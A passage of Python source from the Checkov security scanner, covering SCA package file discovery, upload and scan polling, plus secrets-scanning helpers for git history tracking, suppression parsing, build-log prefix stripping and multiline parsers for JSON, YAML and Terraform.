dependencies=result.get("dependencies", None), inline_suppressions=inline_suppressions, used_private_registry=result.get("used_private_reg", False) ) return report def _persist_file_if_required(self, package_files_to_persist: List[FileToPersist], file_path: Path, root_path: Path | None) -> None: if file_path.name in SCANNABLE_PACKAGE_FILES or file_path.suffix in SCANNABLE_PACKAGE_FILES_EXTENSIONS: file_path_str = str(file_path) # in case of root_path is None, we will get the path in related to the current work dir package_files_to_persist.append(FileToPersist(file_path_str, os.path.relpath(file_path_str, root_path))) def upload_package_files( self, root_path: Path | None, files: list[str] | None, excluded_paths: set[str], excluded_file_names: set[str] | None = None, ) -> List[FileToPersist] | None: """ upload package files to s3""" logging.info("SCA package scanning upload for package files") excluded_file_names = excluded_file_names or set() package_files_to_persist: List[FileToPersist] = [] try: if root_path: for file_path in root_path.glob("**/*"): if any(p in file_path.parts for p in excluded_paths) or file_path.name in excluded_file_names: logging.debug(f"[sca_package:runner](upload_package_files) - File {file_path} was excluded") continue self._persist_file_if_required(package_files_to_persist, file_path, root_path) if files: for file in files: file_path = Path(file) if not file_path.exists(): logging.warning(f"[sca_package:runner](upload_package_files) - File {file_path} doesn't exist") continue self._persist_file_if_required(package_files_to_persist, file_path, root_path) logging.info(f"{len(package_files_to_persist)} sca package files found.") bc_integration.persist_files(package_files_to_persist) return package_files_to_persist except Exception: logging.debug("Unexpected failure happened during uploading files for package scanning.\n" "the scanning is terminating. details are below.\n" "please try again. if it is repeated, please report.", exc_info=True) return None def find_scannable_files( self, root_path: Path | None, files: list[str] | None, excluded_paths: set[str], exclude_package_json: bool = True, excluded_file_names: set[str] | None = None, extra_supported_package_files: set[str] | None = None ) -> set[Path]: excluded_file_names = excluded_file_names or set() extra_supported_package_files = extra_supported_package_files or set() input_paths: set[Path] = set() if root_path: input_paths = { file_path for file_path in root_path.glob("**/*") if file_path.name in SUPPORTED_PACKAGE_FILES.union(extra_supported_package_files) and not any(p in file_path.parts for p in excluded_paths) } package_json_lock_parent_paths = set() if exclude_package_json: # filter out package.json, if package-lock.json or yarn.lock exists package_json_lock_parent_paths = { file_path.parent for file_path in input_paths if file_path.name in {"package-lock.json", "yarn.lock"} } input_paths = { file_path for file_path in input_paths if (file_path.name != "package.json" or file_path.parent not in package_json_lock_parent_paths) and file_path.name not in excluded_file_names } for file in files or []: file_path = Path(file) if not file_path.exists(): logging.warning(f"File {file_path} doesn't exist") continue input_paths.add(file_path) return input_paths ================================================ FILE: checkov/sca_package_2/scanner.py ================================================ from __future__ import annotations import logging import time from pathlib import Path from typing import Any from requests import JSONDecodeError from checkov.common.bridgecrew.platform_integration import bc_integration from checkov.common.util.env_vars_config import env_vars_config from checkov.common.util.http_utils import request_wrapper from checkov.common.util.tqdm_utils import ProgressBar SLEEP_DURATION = 5 MAX_SLEEP_DURATION = 240 class Scanner: def __init__(self, pbar: ProgressBar | None = None, root_folder: str | Path | None = None) -> None: self._base_url = bc_integration.api_url self.bc_cli_scan_api_url = f"{self._base_url}/api/v1/vulnerabilities/cli/scan" if pbar: self.pbar = pbar else: self.pbar = ProgressBar('') self.pbar.turn_off_progress_bar() self.root_folder = root_folder def scan(self) -> dict[str, Any] | None: """run SCA package scan and poll scan results""" if not self.run_scan(): return None return self.poll_scan_result() def run_scan(self) -> bool: try: logging.info("Start to scan package files.") request_body = { "branch": "", "commit": "", "path": bc_integration.repo_path, "repoId": bc_integration.repo_id, "id": bc_integration.timestamp, "repositoryId": "", "enableDotnetCpm": env_vars_config.ENABLE_DOTNET_CPM, "enableJavaDynamicScanCli": env_vars_config.JAVA_FULL_DT, } response = request_wrapper( "POST", self.bc_cli_scan_api_url, headers=bc_integration.get_default_headers("POST"), json=request_body, should_call_raise_for_status=True ) response_json = response.json() if not response_json["startedSuccessfully"]: logging.info("Failed to run package scanning.") return False return True except Exception: logging.debug( "[sca_package_2] - Unexpected failure happened during package scanning.\n" "the scanning is terminating. details are below.\n" "please try again. if it is repeated, please report.", exc_info=True) return False def poll_scan_result(self) -> dict[str, Any]: total_sleeping_time = 0 while total_sleeping_time < MAX_SLEEP_DURATION: response = request_wrapper( "GET", f"{self.bc_cli_scan_api_url}/{bc_integration.timestamp}", headers=bc_integration.get_default_headers("GET"), params={"repoId": bc_integration.repo_id} ) try: response_json = response.json() except JSONDecodeError: logging.debug(f"Unexpected response from {self.bc_cli_scan_api_url}: {response.text}") return {} current_state = response_json.get("status", "") if not current_state: logging.error("Failed to poll scan results.") return {} if current_state == "COMPLETED": logging.debug(response_json) report_url = response_json['reportUrl'] report_response = request_wrapper("GET", report_url, headers={'Accept': 'application/json'}) return report_response.json() # type: ignore if current_state == "FAILED": logging.debug(response_json) return {} time.sleep(SLEEP_DURATION) total_sleeping_time += SLEEP_DURATION logging.debug(f"Timeout, slept for {total_sleeping_time}") return {} ================================================ FILE: checkov/secrets/__init__.py ================================================ ================================================ FILE: checkov/secrets/context_parser.py ================================================ from __future__ import annotations import os import logging from typing import List, Tuple, Dict, Any from checkov.common.typing import _SkippedCheck from checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import integration as metadata_integration class ContextParser: """ Context parser for secrets scanning — supports: - Metadata suppressions like: { "Metadata": { "checkov": { "skip": [ {"id": "CKV_SECRET_6", "comment": "example reason"} ] } } } """ def __init__(self, file_path: str) -> None: self.file_path = file_path self.file_lines: List[Tuple[int, str]] = self._read_file_lines() def _read_file_lines(self) -> List[Tuple[int, str]]: if not os.path.exists(self.file_path): return [] with open(self.file_path, "r", encoding="utf-8") as f: return [(i + 1, line.rstrip('\n')) for i, line in enumerate(f.readlines())] def collect_skip_comments( self, resource_config: Dict[str, Any] | List[Dict[str, Any]] | None = None ) -> List[_SkippedCheck]: """ Collects suppressions from resource metadata. Supports: - Metadata under 'checkov' and 'bridgecrew' keys - Object-rooted and array-rooted JSON/YAML structures Returns a list of suppression dicts """ skipped_checks: List[_SkippedCheck] = [] bc_id_mapping = metadata_integration.bc_to_ckv_id_mapping def extract_skips(metadata_block: Dict[str, Any]) -> None: for source in ("checkov", "bridgecrew"): for skip in metadata_block.get(source, {}).get("skip", []): skip_id = skip.get("id") skip_comment = skip.get("comment", "No comment provided") if not skip_id: logging.warning("Check suppression is missing key 'id'") continue skipped_check: _SkippedCheck = { "id": skip_id, "suppress_comment": skip_comment, } if bc_id_mapping and skip_id in bc_id_mapping: skipped_check["bc_id"] = skip_id skipped_check["id"] = bc_id_mapping[skip_id] elif metadata_integration.check_metadata: skipped_check["bc_id"] = metadata_integration.get_bc_id(skip_id) skipped_checks.append(skipped_check) if isinstance(resource_config, dict): metadata = resource_config.get("Metadata", {}) extract_skips(metadata) elif isinstance(resource_config, list): for item in resource_config: if isinstance(item, dict): metadata = item.get("Metadata", {}) extract_skips(metadata) return skipped_checks ================================================ FILE: checkov/secrets/coordinator.py ================================================ from __future__ import annotations from typing import Iterable, TypedDict class EnrichedSecret(TypedDict): original_secret: str bc_check_id: str check_id: str resource: str line_number: int class SecretsCoordinator: __slots__ = ("_secrets", ) def __init__(self) -> None: self._secrets: list[EnrichedSecret] = [] def add_secret(self, enriched_secret: EnrichedSecret) -> None: # should not have duplicates? - if duplicates allowed, implementation should be changed # may be saved by file type first, then by key - or any other preprocessing that may help differ the secrets. self._secrets.append(enriched_secret) def get_resources(self) -> Iterable[str]: return [enriched_secret["resource"] for enriched_secret in self._secrets] def get_secrets(self) -> list[EnrichedSecret]: return self._secrets ================================================ FILE: checkov/secrets/git_history_store.py ================================================ from __future__ import annotations import logging from collections import defaultdict from typing import TYPE_CHECKING, Dict, List, Optional, TypedDict from checkov.common.util.data_structures_utils import pickle_deepcopy from checkov.common.util.secrets import omit_secret_value_from_line from checkov.common.secrets.consts import GIT_HISTORY_NOT_BEEN_REMOVED from checkov.secrets.git_types import EnrichedPotentialSecretMetadata, EnrichedPotentialSecret, Commit, ADDED, REMOVED, \ GIT_HISTORY_OPTIONS, CommitDiff if TYPE_CHECKING: from detect_secrets.core.potential_secret import PotentialSecret RENAME_STR = 'rename' FILE_RESULTS_STR = 'file_results' RAW_STORE_TYPES = {RENAME_STR, FILE_RESULTS_STR} class RawStore(TypedDict): file_results: List[PotentialSecret] file_name: str commit: Commit type: str # rename / file results rename_from: str rename_to: str class GitHistorySecretStore: def __init__(self) -> None: self.secrets_by_file_value_type: Dict[str, List[EnrichedPotentialSecret]] = {} def set_secret_map(self, file_results: List[PotentialSecret], file_name: str, commit: Commit) -> None: # First find if secret was moved in the file equal_secret_in_commit: Dict[str, List[str]] = defaultdict(list) for secret in file_results: secret_key = get_secret_key(file_name, secret.secret_hash, secret.type) equal_secret_in_commit[secret_key].append(ADDED if secret.is_added else REMOVED) for secret in file_results: if not secret.filename or 'None' in secret.filename: secret.filename = file_name secret_key = get_secret_key(file_name, secret.secret_hash, secret.type) if all(value in equal_secret_in_commit[secret_key] for value in GIT_HISTORY_OPTIONS): continue if secret.is_added: self._add_new_secret(secret_key, secret, commit) if secret.is_removed: self._update_removed_secret(secret_key, secret, file_name, commit) def _add_new_secret(self, secret_key: str, secret: PotentialSecret, commit: Commit) -> None: if secret_key not in self.secrets_by_file_value_type: self.secrets_by_file_value_type[secret_key] = [] else: all_removed = all( potential_secret.get('removed_commit_hash') for potential_secret in self.secrets_by_file_value_type[secret_key]) # Update secret map with the new potential secret if all_removed: self.secrets_by_file_value_type[secret_key][0].update({'potential_secret': secret, 'removed_commit_hash': '', 'removed_date': ''}) return code_line = search_for_code_line(commit.files[secret.filename], secret.secret_value, secret.is_added) enriched_potential_secret: EnrichedPotentialSecret = { 'added_commit_hash': commit.metadata.commit_hash, 'removed_commit_hash': '', 'potential_secret': secret, 'code_line': code_line, 'added_by': commit.metadata.committer, 'removed_date': '', 'added_date': commit.metadata.committed_datetime } self.secrets_by_file_value_type[secret_key].append(enriched_potential_secret) def _update_removed_secret(self, secret_key: str, secret: PotentialSecret, file_name: str, commit: Commit) -> None: # Try to find the corresponding added secret in the git history secret map secrets_in_file = self.secrets_by_file_value_type.get(secret_key, None) if secrets_in_file: for secret_in_file in secrets_in_file: if secret_in_file['potential_secret'].is_added: secret_in_file['removed_commit_hash'] = commit.metadata.commit_hash secret_in_file['potential_secret'] = secret secret_in_file['removed_date'] = commit.metadata.committed_datetime break else: logging.warning(f"No added secret commit found for secret in file {file_name}.") def handle_renamed_file(self, rename_from: str, rename_to: str, commit: Commit) -> None: temp_secrets_by_file_value_type: Dict[str, List[EnrichedPotentialSecret]] = {} for secret_key in self.secrets_by_file_value_type.keys(): if rename_from in secret_key: new_secret_key = secret_key.replace(rename_from, rename_to) temp_secrets_by_file_value_type[new_secret_key] = [] secret_in_file = self.secrets_by_file_value_type[secret_key] for secret_data in secret_in_file: # defines the secret in the old file as removed and add the secret to the new file secret_data['removed_commit_hash'] = commit.metadata.commit_hash secret_data['removed_date'] = commit.metadata.committed_datetime new_secret = pickle_deepcopy(secret_data['potential_secret']) new_secret.filename = rename_to code = secret_data.get('code_line') enriched_potential_secret: EnrichedPotentialSecret = { 'added_commit_hash': commit.metadata.commit_hash, 'removed_commit_hash': '', 'potential_secret': new_secret, 'code_line': code, 'added_by': secret_data.get('added_by'), 'removed_date': '', 'added_date': secret_data.get('added_date') } temp_secrets_by_file_value_type[new_secret_key].append(enriched_potential_secret) self.secrets_by_file_value_type.update(temp_secrets_by_file_value_type) def get_added_and_removed_commit_hash(self, key: str, secret: PotentialSecret, root_folder: Optional[str]) -> EnrichedPotentialSecretMetadata: """ now we have only the current commit_hash - in the added_commit_hash or in the removed_commit_hash. in the next step we will add the connection and the missing data The key is built like this: '{added_commit_hash}_{removed_commit_hash or the string GIT_HISTORY_NOT_BEEN_REMOVED if the secret not been removed}_{file_name}' returns (added, removed, code) """ try: secret_key = get_secret_key(secret.filename, secret.secret_hash, secret.type) # by value type enriched_secrets: List[EnrichedPotentialSecret] = self.secrets_by_file_value_type.get(secret_key, []) if not enriched_secrets and root_folder: # sometimes the secret key is from the project path instead of abs path filename = f'{root_folder}/{secret.filename}' secret_key = get_secret_key(filename, secret.secret_hash, secret.type) # by value type enriched_secrets = self.secrets_by_file_value_type.get(secret_key, []) if not enriched_secrets: logging.warning(f'Did not find added_commit_hash and removed_commit_hash for {secret_key}') return {} chosen_secret = enriched_secrets[0] if len(enriched_secrets) > 1: res = key.split("_") added, removed = res[0], res[1] if removed == GIT_HISTORY_NOT_BEEN_REMOVED: removed = '' for enriched_secret in enriched_secrets: if added == enriched_secret.get('added_commit_hash') and \ removed == enriched_secret.get('removed_commit_hash'): chosen_secret = enriched_secret break return { 'added_commit_hash': chosen_secret.get('added_commit_hash', ''), 'removed_commit_hash': chosen_secret.get('removed_commit_hash', ''), 'code_line': chosen_secret.get('code_line'), 'added_by': chosen_secret.get('added_by'), 'removed_date': chosen_secret.get('removed_date'), 'added_date': chosen_secret.get('added_date') } except Exception as e: logging.warning(f"Failed set added_commit_hash and removed_commit_hash due to: {str(e)}") return {} def search_for_code_line(commit_diff: CommitDiff, secret_value: Optional[str], is_added: Optional[bool]) -> str: if not commit_diff: logging.warning(f'missing file name for {commit_diff}, hence no available code line') if secret_value is None: return '' split = commit_diff.split('\n') start_char = '+' if is_added else '-' for line in split: if line.startswith(start_char) and secret_value in line: # remove +/- in the beginning & spaces and omit return omit_secret_value_from_line(secret_value, line[1:].strip()) or '' return '' # not found def get_secret_key(file_name: str, secret_hash: str, secret_type: str) -> str: """ One way to create a secret key for the secret map """ secret_key = f'{file_name}_{secret_hash}_{secret_type.replace(" ", "-")}' return secret_key ================================================ FILE: checkov/secrets/git_types.py ================================================ from __future__ import annotations import logging from typing import Optional, TYPE_CHECKING, TypedDict if TYPE_CHECKING: from detect_secrets.core.potential_secret import PotentialSecret PROHIBITED_FILES = ('Pipfile.lock', 'yarn.lock', 'package-lock.json', 'requirements.txt', 'go.sum') ADDED = 'added' REMOVED = 'removed' GIT_HISTORY_OPTIONS = {ADDED, REMOVED} CommitDiff = str class RenamedFile(TypedDict): rename_from: str rename_to: str class Commit: __slots__ = ("metadata", "files", "renamed_files") def __init__( self, metadata: CommitMetadata, files: dict[str, CommitDiff] | None = None, renamed_files: dict[str, RenamedFile] | None = None ): self.metadata: CommitMetadata = metadata self.files: dict[str, CommitDiff] = files or {} self.renamed_files: dict[str, RenamedFile] = renamed_files or {} def is_empty(self) -> bool: return not bool(self.files or self.renamed_files) def add_file(self, filename: str, commit_diff: CommitDiff) -> None: if self.files.get(filename): logging.warning(f'add_file-file {filename} already exist in commit') return self.files[filename] = commit_diff def rename_file(self, file_path: str, prev_filename: str, new_filename: str) -> None: if self.renamed_files.get(new_filename): logging.warning(f"rename_file-new filename {new_filename} was already renamed, might be an error") return self.renamed_files[file_path] = { 'rename_from': prev_filename, 'rename_to': new_filename } def remove_file(self, filename: str) -> None: if self.files.get(filename): del self.files[filename] class CommitMetadata: __slots__ = ("commit_hash", "committer", "committed_datetime") def __init__(self, commit_hash: str, committer: str, committed_datetime: str): self.commit_hash: str = commit_hash self.committer: str = committer self.committed_datetime: str = committed_datetime class EnrichedPotentialSecretMetadata(TypedDict, total=False): added_commit_hash: str removed_commit_hash: str code_line: Optional[str] added_by: Optional[str] removed_date: Optional[str] added_date: Optional[str] class EnrichedPotentialSecret(EnrichedPotentialSecretMetadata): potential_secret: PotentialSecret # noqa: CCE003 # a static attribute ================================================ FILE: checkov/secrets/local_secrets_runner.py ================================================ # flake8: noqa # type: ignore import json import os from checkov.main import secrets_runner from checkov.common.runners.runner_registry import RunnerRegistry from checkov.runner_filter import RunnerFilter from checkov.common.bridgecrew.platform_integration import bc_integration with open(os.environ['LOCAL_SECRETS_POLICIES_JSON']) as secrets_policies_file: default_regexes = json.load(secrets_policies_file) bc_integration.customer_run_config_response = {'secretsPolicies': default_regexes} def execute(): runner = secrets_runner(entropy_limit=4) # 20 min less in order to finish processing, else put checkov's default (12h - 1200) runner_registry = RunnerRegistry( '', RunnerFilter( block_list_secret_scan=[], enable_secret_scan_all_files=True, enable_git_history_secret_scan=False, git_history_last_commit_scanned=None, git_history_timeout="checkov_timeout_str", checks=['BC_GIT_79'] ), runner ) scan_reports = runner_registry.run( root_folder=os.environ["LOCAL_SCANNING_FOLDER"], external_checks_dir=list(), collect_skip_comments=True) print(scan_reports) if __name__ == "__main__": execute() ================================================ FILE: checkov/secrets/log_prefix_stripper.py ================================================ """ Utility to strip common build log prefixes from file content. When scanning build logs for secrets, each line may be prefixed with timestamps and log metadata (e.g., "2026-01-07 09:41:37.553 | DEBUG | crypto | "). These prefixes break multiline regex matching for secrets (like private keys) because the detectors expect clean content between markers. This module provides functions to detect and strip such prefixes, enabling secret detection across all detectors when scanning build log files. """ from __future__ import annotations import re from typing import Optional # Common build log prefix patterns: # - Timestamps: 2026-01-07 09:41:37.553, 2026-01-07T09:41:37.553Z # - Log levels: INFO, DEBUG, WARN, ERROR, TRACE, FATAL # - Separators: |, -, [], etc. # - Module names: crypto, main, etc. # Examples: # "2026-01-07 09:41:37.553 | DEBUG | crypto | actual content" # "[2026-01-07 09:41:37] [INFO] actual content" # "2026-01-07T09:41:37.553Z INFO actual content" # "09:41:37.553 DEBUG actual content" # Pattern for pipe-separated log prefixes (most common in CI/CD logs) # e.g., "2026-01-07 09:41:37.553 | DEBUG | crypto | " _PIPE_LOG_PREFIX = re.compile( r'^' r'(?:' # Date-time with various separators r'\d{4}[-/]\d{2}[-/]\d{2}[T ]\d{2}:\d{2}:\d{2}(?:[.,]\d+)?(?:Z|[+-]\d{2}:?\d{2})?' r'|' # Time-only prefix r'\d{2}:\d{2}:\d{2}(?:[.,]\d+)?' r')' # Pipe-separated fields (log level, module, etc.) r'(?:\s*\|\s*\w[\w./\- ]*)*' # Final pipe separator before actual content r'\s*\|\s*' ) # Pattern for space-separated log prefixes # e.g., "2026-01-07 09:41:37.553 DEBUG crypto - " _SPACE_LOG_PREFIX = re.compile( r'^' r'(?:' r'\d{4}[-/]\d{2}[-/]\d{2}[T ]\d{2}:\d{2}:\d{2}(?:[.,]\d+)?(?:Z|[+-]\d{2}:?\d{2})?' r'|' r'\d{2}:\d{2}:\d{2}(?:[.,]\d+)?' r')' r'\s+' # Log level (required for space-separated to avoid false positives) r'(?:TRACE|DEBUG|INFO|WARN(?:ING)?|ERROR|FATAL|SEVERE|FINE|FINER|FINEST)\s+' # Optional module/category and separator r'(?:[\w./-]+\s+(?:[-:]\s+)?)?' ) # Pattern for bracket-style log prefixes # e.g., "[2026-01-07 09:41:37] [INFO] [crypto] " _BRACKET_LOG_PREFIX = re.compile( r'^' r'(?:\[[\d\-/:T., +Z]+\]\s*)' r'(?:\[(?:TRACE|DEBUG|INFO|WARN(?:ING)?|ERROR|FATAL|SEVERE)\]\s*)?' r'(?:\[[\w./-]+\]\s*)*' ) _LOG_PREFIX_PATTERNS = [_PIPE_LOG_PREFIX, _SPACE_LOG_PREFIX, _BRACKET_LOG_PREFIX] def strip_log_prefix(line: str) -> str: """Strip common build log prefixes from a single line. Removes timestamp, log level, and module prefixes commonly found in build logs. Returns the line content after the prefix. """ for pattern in _LOG_PREFIX_PATTERNS: stripped = pattern.sub('', line) if stripped != line: return stripped return line def has_log_prefixes(content: str) -> bool: """Check if file content appears to be a build log with line prefixes. Samples non-empty lines and checks if a significant portion have log prefixes. Returns True if the file appears to be a log file with prefixes. """ lines = content.split('\n') prefix_count = 0 checked = 0 sample_size = min(len(lines), 30) # Check up to 30 non-empty lines for line in lines: if not line.strip(): continue stripped = strip_log_prefix(line) if stripped != line: prefix_count += 1 checked += 1 if checked >= sample_size: break # Require at least 2 lines with prefixes and at least 30% of sampled lines return checked > 0 and prefix_count >= 2 and (prefix_count / checked) >= 0.3 def strip_log_prefixes_from_content(content: str) -> str: """Strip log prefixes from all lines in file content. Returns the content with log prefixes removed from each line. """ lines = content.split('\n') stripped_lines = [strip_log_prefix(line) for line in lines] return '\n'.join(stripped_lines) def create_stripped_content(file_path: str) -> Optional[str]: """Read a file and return its content with log prefixes stripped. Returns a string of the stripped content, or None if the file doesn't appear to have log prefixes. """ try: # To avoid reading large files entirely into memory just for a check, # we first read a sample of the file to check for log prefixes. with open(file_path, 'r') as f: sample = f.read(8000) # Read first 8KB, should be enough for several lines except (OSError, UnicodeDecodeError): return None if not has_log_prefixes(sample): return None # Prefixes were found in the sample, so now we process the whole file. # The runner that calls this already limits the file size, so we don't # expect to be reading huge files here. try: with open(file_path, 'r') as f: content = f.read() return strip_log_prefixes_from_content(content) except (OSError, UnicodeDecodeError): return None ================================================ FILE: checkov/secrets/parsers/__init__.py ================================================ ================================================ FILE: checkov/secrets/parsers/json/__init__.py ================================================ ================================================ FILE: checkov/secrets/parsers/json/multiline_parser.py ================================================ from __future__ import annotations import re from typing import TYPE_CHECKING if TYPE_CHECKING: from detect_secrets.util.code_snippet import CodeSnippet from checkov.secrets.parsers.multiline_parser import BaseMultiLineParser START_OBJ_END_OF_LINE = r'({\s*}?\s*,?\s*$)' START_OBJ_START_OF_LINE = r'(^\s*{)' START_OBJ = re.compile(fr'{START_OBJ_START_OF_LINE}|{START_OBJ_END_OF_LINE}') START_OBJ_INCLUDING_CURRENT_LINE = re.compile(START_OBJ_START_OF_LINE) END_OBJ = re.compile(r'(^\s*\}\s*)|({?\s*\}\s*,?\s*$)') WHOLE_OBJ_INLINE = re.compile(r'{[^{]*{?\s*\}\s*,?\s*$') class JsonMultiLineParser(BaseMultiLineParser): def consecutive_lines_in_same_object( self, raw_context: CodeSnippet | None, other_line_idx: int, ) -> bool: if not raw_context or not 0 <= other_line_idx < len(raw_context.lines): return False higher_line = raw_context.lines[other_line_idx] lower_line = raw_context.target_line if other_line_idx > raw_context.target_index: higher_line, lower_line = lower_line, higher_line if self.is_object_end(higher_line) or re.search(START_OBJ_INCLUDING_CURRENT_LINE, lower_line): return False if self.is_object_start(higher_line): return bool(re.search(START_OBJ_INCLUDING_CURRENT_LINE, higher_line)) return True @staticmethod def is_object_start( line: str ) -> bool: return bool(re.search(START_OBJ, line) and not re.search(WHOLE_OBJ_INLINE, line)) @staticmethod def is_object_end( line: str ) -> bool: return bool(re.search(END_OBJ, line) and not re.search(WHOLE_OBJ_INLINE, line)) @staticmethod def is_line_comment( line: str ) -> bool: return False json_multiline_parser = JsonMultiLineParser() ================================================ FILE: checkov/secrets/parsers/multiline_parser.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING from abc import ABC from abc import abstractmethod if TYPE_CHECKING: from detect_secrets.util.code_snippet import CodeSnippet class BaseMultiLineParser(ABC): def get_lines_from_same_object( self, search_range: range, context: CodeSnippet | None, raw_context: CodeSnippet | None, line_length_limit: int = 0, ) -> set[str]: possible_keywords: set[str] = set() if not context or not raw_context: return possible_keywords for j in search_range: line = raw_context.lines[j] if line_length_limit and len(line) > line_length_limit: continue if self.consecutive_lines_in_same_object(raw_context=raw_context, other_line_idx=j) \ and not self.is_line_comment(line): possible_keywords.add(raw_context.lines[j]) if self.is_object_start(line=line) or self.is_object_end(line=line): return possible_keywords # No start of array detected, hence all found possible_keywords are irrelevant return set() @abstractmethod def consecutive_lines_in_same_object( self, raw_context: CodeSnippet | None, other_line_idx: int, ) -> bool: pass @staticmethod @abstractmethod def is_object_start( line: str, ) -> bool: pass @staticmethod @abstractmethod def is_object_end( line: str, ) -> bool: pass @staticmethod @abstractmethod def is_line_comment( line: str ) -> bool: pass ================================================ FILE: checkov/secrets/parsers/single_line_parser.py ================================================ from __future__ import annotations from abc import ABC, abstractmethod from typing import Any, TYPE_CHECKING if TYPE_CHECKING: from detect_secrets.core.potential_secret import PotentialSecret from detect_secrets.plugins.high_entropy_strings import Base64HighEntropyString, HexHighEntropyString from detect_secrets.util.code_snippet import CodeSnippet class BaseSingleLineParser(ABC): def detect_secret( self, scanners: tuple[Base64HighEntropyString, HexHighEntropyString], filename: str, raw_context: CodeSnippet | None, line: str, line_number: int = 0, **kwargs: Any, ) -> set[PotentialSecret]: for entropy_scanner in scanners: matches = entropy_scanner.analyze_line(filename, line, line_number, **kwargs) if matches: if raw_context and self.ignore_secret(raw_context=raw_context): return set() return matches return set() @abstractmethod def ignore_secret(self, raw_context: CodeSnippet) -> bool: """Check for false-positive secrets by leveraging the context""" pass ================================================ FILE: checkov/secrets/parsers/terraform/__init__.py ================================================ ================================================ FILE: checkov/secrets/parsers/terraform/multiline_parser.py ================================================ from __future__ import annotations import re from typing import TYPE_CHECKING from checkov.secrets.parsers.multiline_parser import BaseMultiLineParser if TYPE_CHECKING: from detect_secrets.util.code_snippet import CodeSnippet START_OBJ = re.compile(r"^\s*\w*\s*=?\s*{\s*$") END_OBJ = re.compile(r"^\s*}\s*$") COMMENT_PREFIX = re.compile(r"^[\s]*(#|//)") class TerraformMultiLineParser(BaseMultiLineParser): def consecutive_lines_in_same_object( self, raw_context: CodeSnippet | None, other_line_idx: int, ) -> bool: return bool(raw_context and 0 <= other_line_idx < len(raw_context.lines)) @staticmethod def is_object_start(line: str) -> bool: return bool(re.match(START_OBJ, line)) @staticmethod def is_object_end(line: str) -> bool: return bool(re.match(END_OBJ, line)) @staticmethod def is_line_comment(line: str) -> bool: return bool(re.match(COMMENT_PREFIX, line)) terraform_multiline_parser = TerraformMultiLineParser() ================================================ FILE: checkov/secrets/parsers/terraform/single_line_parser.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING from checkov.secrets.parsers.single_line_parser import BaseSingleLineParser if TYPE_CHECKING: from detect_secrets.util.code_snippet import CodeSnippet class TerraformSingleLineParser(BaseSingleLineParser): def ignore_secret(self, raw_context: CodeSnippet) -> bool: return self.ignore_terraform_data_block(raw_context=raw_context) def ignore_terraform_data_block(self, raw_context: CodeSnippet) -> bool: """Check for a possible data block usage""" # search backwards to find a possible 'data' block for line_index in range(raw_context.target_index - 1, -1, -1): if raw_context.lines[line_index].lstrip().startswith('data "'): # a data block is typically used to get remote information, # therefore can retrieve a secret, but has not a hardcoded secret return True return False terraform_single_line_parser = TerraformSingleLineParser() ================================================ FILE: checkov/secrets/parsers/yaml/__init__.py ================================================ ================================================ FILE: checkov/secrets/parsers/yaml/multiline_parser.py ================================================ from __future__ import annotations import re from typing import TYPE_CHECKING if TYPE_CHECKING: from detect_secrets.util.code_snippet import CodeSnippet from checkov.secrets.parsers.multiline_parser import BaseMultiLineParser INDENTATION_PATTERN = re.compile(r'(^\s*(?:-?\s+)?)') COMMENT_PREFIX = re.compile(r'^[\s]*(#|\/\/)') class YmlMultilineParser(BaseMultiLineParser): def consecutive_lines_in_same_object( self, raw_context: CodeSnippet | None, other_line_idx: int, ) -> bool: if not raw_context: return False # could not know return 0 <= other_line_idx < len(raw_context.lines) and \ self.lines_same_indentation(raw_context.lines[other_line_idx], raw_context.target_line) @staticmethod def is_object_start( line: str, ) -> bool: match = re.match(INDENTATION_PATTERN, line) if match: return '-' in match.groups()[0] return False @staticmethod def is_object_end( line: str, ) -> bool: match = re.match(INDENTATION_PATTERN, line) if match: return '-' in match.groups()[0] return False @staticmethod def is_line_comment( line: str ) -> bool: return bool(re.match(COMMENT_PREFIX, line)) @staticmethod def lines_same_indentation(line1: str, line2: str) -> bool: match1 = re.match(INDENTATION_PATTERN, line1) match2 = re.match(INDENTATION_PATTERN, line2) if not match1 and not match2: return True if not match1 or not match2: return False indent1 = len(match1.groups()[0]) indent2 = len(match2.groups()[0]) return indent1 == indent2 yml_multiline_parser = YmlMultilineParser() ================================================ FILE: checkov/secrets/plugins/__init__.py ================================================ ================================================ FILE: checkov/secrets/plugins/custom_regex_detector.py ================================================ from __future__ import annotations import logging from typing import Set, Any, Generator, Pattern, Optional, Dict, Tuple, TYPE_CHECKING, cast, Union from collections import defaultdict from detect_secrets.constants import VerifiedResult from detect_secrets.core.potential_secret import PotentialSecret from detect_secrets.plugins.base import RegexBasedDetector from detect_secrets.util.inject import call_function_with_arguments import re from checkov.common.util.file_utils import read_file_safe, get_file_size_safe from checkov.secrets.plugins.load_detectors import load_detectors MIN_CHARACTERS = 5 MAX_CHARACTERS = 100 if TYPE_CHECKING: from detect_secrets.util.code_snippet import CodeSnippet class CustomRegexDetector(RegexBasedDetector): secret_type = "Regex Detector" # noqa: CCE003 # nosec denylist: Set[Pattern[str]] = set() # noqa: CCE003 MAX_FILE_SIZE: int = 4 * 1024 MAX_LINE_LENGTH: int = 10_000 def __init__(self) -> None: self.regex_to_metadata: dict[str, dict[str, Any]] = dict() self.denylist = set() self.multiline_deny_list = set() self.pattern_by_prerun_compiled: dict[str, Pattern[str]] = dict() self.multiline_regex_to_metadata: dict[str, dict[str, Any]] = dict() self._analyzed_files: Set[str] = set() self._analyzed_files_by_check: Dict[str, Set[str]] = defaultdict(lambda: set()) self._multiline_regex_supported_file_types: Set[str] = set() detectors = load_detectors() for detector in detectors: try: if detector.get("prerun"): self.denylist.add(re.compile('{}'.format(detector["prerun"]))) self.regex_to_metadata[detector["prerun"]] = detector # currently supports only cases that have distinct preruns, if two policies # have the same prerunner then only one of them is gonna work self.pattern_by_prerun_compiled[detector["prerun"]] = re.compile('{}'.format(detector["Regex"])) continue if detector.get("isMultiline"): self.multiline_deny_list.add(re.compile('{}'.format(detector["Regex"]))) self.multiline_regex_to_metadata[detector["Regex"]] = detector else: self.denylist.add(re.compile('{}'.format(detector["Regex"]))) self.regex_to_metadata[detector["Regex"]] = detector except Exception: logging.warning(f"Failed to load detector {detector.get('Name')} with regex {detector.get('Regex')}") @property def multiline_regex_supported_file_types(self) -> Set[str]: if self._multiline_regex_supported_file_types: return self._multiline_regex_supported_file_types for regex in self.multiline_regex_to_metadata.values(): self._multiline_regex_supported_file_types.update(regex.get("supportedFiles", [])) return self._multiline_regex_supported_file_types def analyze_line( self, filename: str, line: str, line_number: int = 0, context: Optional[CodeSnippet] = None, raw_context: Optional[CodeSnippet] = None, 